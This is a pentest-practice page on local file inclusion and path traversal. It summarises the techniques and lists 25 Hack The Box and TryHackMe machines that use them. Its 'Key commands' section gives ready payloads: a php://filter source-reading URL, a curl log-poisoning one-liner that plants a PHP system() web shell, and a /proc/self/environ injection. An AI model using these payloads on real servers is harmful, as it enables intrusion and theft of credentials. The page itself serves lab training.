LFI and Path Traversal: practice machines and key commands
By Daniel Dayan ยท Updated
Local file inclusion and path traversal let you read, and sometimes execute, files the web server can access. Probe file parameters with ../ sequences, encoded variants and absolute paths, then read /etc/passwd, application source and configuration files to find secrets. In PHP, filter wrappers such as php://filter return source code in base64, which exposes database credentials. To turn a read into code execution, poison a log file or session you can include, abuse /proc/self/environ, or combine it with an upload. Remote file inclusion works only when the server fetches remote URLs, which modern defaults block. Windows targets need backslash and drive-letter variations. Keep notes on which files you can read, because the web root layout often reveals the next step. These boxes use inclusion bugs as the way in.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
PHP Filter Base64 LFI Wrapper
Read source code of PHP scripts through base64 conversion filter.
http://{TARGET_IP}/index.php?page=php://filter/convert.base64-encode/resource=config.phpLFI Log Poisoning via User-Agent
Inject PHP execution payload into web server access log, then include via LFI.
curl -s -A "<?php system(\$_GET['cmd']); ?>" http://{TARGET_IP}/ && curl "http://{TARGET_IP}/index.php?page=/var/log/apache2/access.log&cmd=id"LFI to RCE via Apache /proc/self/environ
Inject User-Agent payload into environment file for code execution.
curl -s -H "User-Agent: <?php system('id'); ?>" "http://{TARGET_IP}/view.php?file=/proc/self/environ"ffuf Parameter Discovery (GET/POST)
Fuzz hidden query parameters on target page.
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://{TARGET_IP}/index.php?FUZZ=test" -ac
Keep going
- Methodology: Phase 04: Foothold Execution & Initial Access
- Cheatsheet: Web & Directory Fuzzing
- Cheatsheet: Exploitation & Payloads
LFI and Path Traversal machines (25)
3 of these are machines I solved myself and are listed first within each difficulty. 22 Linux, 3 Windows.
Listed when a machine has a catalog tag that is one of: lfi, local file inclusion, rfi, directory traversal, path traversal, log poisoning, file inclusion. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
LFI and Path Traversal at a glance
- By platform: 19 Hack The Box, 6 TryHackMe.
- On these practice lists: CPTS (7), Unofficial IppSec CPTS (6), CWEE (4), OSCP (2), OSWE (1), HTB Starting Point (1).
- Tags that most often appear alongside it: Pivoting (3), Cron (2), SQLi (2).
- Solved by me, with a page here: Beep (Linux Easy), Lo-Fi (Linux Easy), Responder (Windows Easy).
Very Easy (1)
| Machine | Platform | OS |
|---|---|---|
| Included | HTB | Linux |
Easy (10)
| Machine | Platform | OS |
|---|---|---|
| Beep IppSec | HTB | Linux |
| Lo-Fi | THM | Linux |
| Responder | HTB | Windows |
| Alert IppSec | HTB | Linux |
| Archangel | THM | Linux |
| Backdoor IppSec | HTB | Linux |
| Mailing IppSec | HTB | Windows |
| OpenSource IppSec | HTB | Linux |
| Skynet | THM | Linux |
| Team | THM | Linux |
Medium (10)
| Machine | Platform | OS |
|---|---|---|
| Agile IppSec | HTB | Linux |
| Bagel IppSec | HTB | Linux |
| Bart IppSec | HTB | Windows |
| Dogcat | THM | Linux |
| Encoding IppSec | HTB | Linux |
| Format IppSec | HTB | Linux |
| Nineveh IppSec | HTB | Linux |
| Watcher | THM | Linux |
| Writer IppSec | HTB | Linux |
| Zipping | HTB | Linux |
Hard (2)
| Machine | Platform | OS |
|---|---|---|
| Monitors IppSec | HTB | Linux |
| Pikaboo IppSec | HTB | Linux |
Insane (2)
| Machine | Platform | OS |
|---|---|---|
| Fatty IppSec | HTB | Linux |
| Response IppSec | HTB | Linux |
Related techniques
Related guides: HTB CPTS exam guide, OSCP vs CPTS, HTB Pro Labs guide, HTB vs TryHackMe.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.